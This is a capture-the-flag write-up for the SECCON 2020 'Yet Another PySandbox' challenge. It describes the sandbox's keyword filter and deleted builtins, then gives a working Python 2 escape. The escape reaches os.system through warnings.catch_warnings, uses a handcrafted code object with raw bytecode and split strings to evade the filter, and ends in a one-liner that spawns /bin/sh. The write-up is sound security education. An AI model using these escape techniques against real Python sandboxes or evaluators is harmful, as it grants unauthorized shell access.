This is a write-up for the seccon 2020 sandbox challenge Yet Another PySandbox.
We are provided with a python script called run.py
. We are required to break out of the restricted python environment.
There are several measures to prevent the outbreak.
def evaluator():
print('Welcome to yet yet another sandboxed python evaluator!')
print('Give me an expression (ex: 1+2): ')
s = RAW_INPUT('> ').lower()
if check_eval_str(s):
print_eval_result(sandboxed_eval(s))
else:
print('Invalid input')
First, all the uppercase letters in the string is converted into lowercase letters.
EVAL = eval
LEN = len
RAW_INPUT = raw_input
TRUE = True
FALSE = False
TYPE = type
INT = int
Therefore you can't use the uppercase alternatives which are used in other parts of codes. Also, the usage of literals None
, True
, and False
are banned because of uppercase letters although its in the list of allowed keywords.
from sys import modules
del modules['os']
del modules['sys']
del modules
keys = list(__builtins__.__dict__.keys())
# bits of code omitted
for k in keys:
if k not in ['False', 'None', 'True', 'bool', 'bytearray', 'bytes', 'chr', 'dict', 'eval', 'exit', 'filter', 'float', 'hash', 'int', 'iter', 'len', 'list', 'long', 'map', 'max', 'ord', 'print', 'range', 'raw_input', 'reduce', 'repr', 'setattr', 'sum', 'type']:
del __builtins__.__dict__[k]
Second, it kills modules and builtins.
def check_eval_str(s):
s = s.lower()
if LEN(s) > 0x1000:
return FALSE
for x in ['eval', 'exec', '__', 'module', 'class', 'globals', 'os', 'import']:
if x in s:
return FALSE
return TRUE
Third, it has a length limit and a filter for some critical keywords. Because you cannot use __
, you cannot use many attributes of python objects, such as __class__
or __mro__
.
def print_eval_result(x):
if TYPE(x) != INT:
print('wrong program')
return
print(x)
Fourth, it checks the type of the evaluated output. Therefore, you can't use tricks like making a object with malicious __str__
to be executed when printing it.
def sandboxed_eval(s):
print_eval_result = None
check_eval_str = None
sandboxed_eval = None
evaluator = None
return EVAL(s)
Finally, these functions are replaced with None
in this scope.
In order to execute malicious code, we have to craft our own function and execute it by calling it explicitly. Therefore, we need to craft our own code object from scratch. I created a function which prints out the elements of the code object.
def k(func):
for i in filter(lambda x:"__" not in x, dir(func.__code__)):
print("{} = {}".format(i, func.__code__.__getattribute__(i)))
print func.__code__.co_code
print func.__code__.co_lnotab
Then I made a function like this.
def y():
import os
os.system("/bin/sh")
However this approach has multiple problems with it. Here are the list of the problems to be solved.
- The string
os
is banned. - Even though the keyword
import
generates the opcodeIMPORT_NAME
, it still requires__import__
in its current scope to function. (Calling__import__
directly generates aCALL_FUNCTION
opcode.) - To create a code object, we need to access the
code
type itself. - To create a function object, we need to access the
function
type itself. - Building functions requires the usage of
None
. - When executing functions which are built from raw code objects, its execution is restricted. Therefore you cannot access the other functions critical attributes such as
__global__
. - With the same reasons, critical operations such as starting a new file I/O with
open()
orfile()
constructors are also restricted.
To solve this nonsense, we have to think about the payload that will execute the shell when the it's executed. We also have to remember that this code will be executed in a restricted environment.
>>> ()
()
>>> ().__class__
<type 'tuple'>
>>> ().__class__.__base__
<type 'object'>
>>> ().__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, ...]
>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']
[<class 'warnings.catch_warnings'>]
>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]
<class 'warnings.catch_warnings'>
First, we access the object warnings.catch_warnings
by searching the subclasses of the type object
, which is obtained by going down from the empty tuple ()
.
>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module
<module 'warnings' from '/usr/lib/python2.7/warnings.pyc'>
>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache
<module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>
>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system
<built-in function system>
>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system("/bin/sh")
$
Then, we can get the warnings.catch_warnings
object. That object has a _module
attribute which contains the warning
module itself. Then, that module warning
has a linecache
which contains critical modules like os
or sys
. Therefore, we can execute /bin/sh
with it.
Then, we have to build this into a code object.
lst = types.FunctionType(types.CodeType(
0, #argcount
1, #nlocals
4, #stacksize
67, #flags
'g\x00\x00d\x04\x00j\x00\x00j\x01\x00j\x02\x00\x83\x00\x00\x44]'
'\x1b\x00}\x00\x00|\x00\x00j\x03\x00d\x01\x00k\x02\x00r\x13\x00'
'|\x00\x00^\x02\x00q\x13\x00d\x02\x00\x19\x83\x00\x00j\x04\x00j'
'\x05\x00j\x06\x00j\x07\x00d\x03\x00\x83\x01\x00\x53', #code
([].sort(), 'catch_warnings', 0,'/bin/sh', ()), # constants
(
'_' '_class_' '_',
'_' '_base_' '_',
'_' '_subcl' 'asses_' '_',
'_' '_name_' '_',
'_mod' 'ule',
'linecache',
'o' 's',
'system'
), # names
('x', ), #varnames
"yikes.py", # filename
"lst", #name
1337, #firstlineno
'\x00\x01'#lnotab
),{})
I used [].sort()
for getting None
. You can also use things like evaluator
or sandboxed_eval
which contains None
too. Then I broke all the banned strings with whitespaces because python doesn't care about whitespaces between string literals. Also, you need to be careful about the uppercase letters in the code string.
However we cannot import and use types.FunctionType
nor types.CodeType
. We can instead use type()
builtin to get those types from a random lambda function and its code. In short,
>>> types.FunctionType == type(lambda x:x)
True
>>> types.CodeType==type((lambda x:x).func_code)
True
Then this is the final exploit.
lst = type(lambda x:x)(type((lambda x:x).func_code)(
0, #argcount
1, #nlocals
4, #stacksize
67, #flags
'g\x00\x00d\x04\x00j\x00\x00j\x01\x00j\x02\x00\x83\x00\x00\x44]'
'\x1b\x00}\x00\x00|\x00\x00j\x03\x00d\x01\x00k\x02\x00r\x13\x00'
'|\x00\x00^\x02\x00q\x13\x00d\x02\x00\x19\x83\x00\x00j\x04\x00j'
'\x05\x00j\x06\x00j\x07\x00d\x03\x00\x83\x01\x00\x53', #code
([].sort(), 'catch_warnings', 0,'/bin/sh', ()), # constants
(
'_' '_class_' '_',
'_' '_base_' '_',
'_' '_subcl' 'asses_' '_',
'_' '_name_' '_',
'_mod' 'ule',
'linecache',
'o' 's',
'system'
), # names
('x', ), #varnames
"yikes.py", # filename
"lst", #name
1337, #firstlineno
'\x00\x01'#lnotab
),{})
Executing this function will grant a shell.
This is a one-liner.
type(lambda x:x)(type((lambda x:x).func_code)(0,1,4,67,'g\x00\x00d\x04\x00j\x00\x00j\x01\x00j\x02\x00\x83\x00\x00\x44]\x1b\x00}\x00\x00|\x00\x00j\x03\x00d\x01\x00k\x02\x00r\x13\x00|\x00\x00^\x02\x00q\x13\x00d\x02\x00\x19\x83\x00\x00j\x04\x00j\x05\x00j\x06\x00j\x07\x00d\x03\x00\x83\x01\x00\x53',([].sort(), 'catch_warnings', 0,'/bin/sh', ()),('_' '_cla' 'ss_' '_', '_' '_base_' '_', '_' '_subcl' 'asses_' '_', '_' '_name_' '_', '_mod' 'ule', 'linecache', 'o' 's', 'system'),('x',),"yikes.py","lst",1337,'\x00\x01'),{})()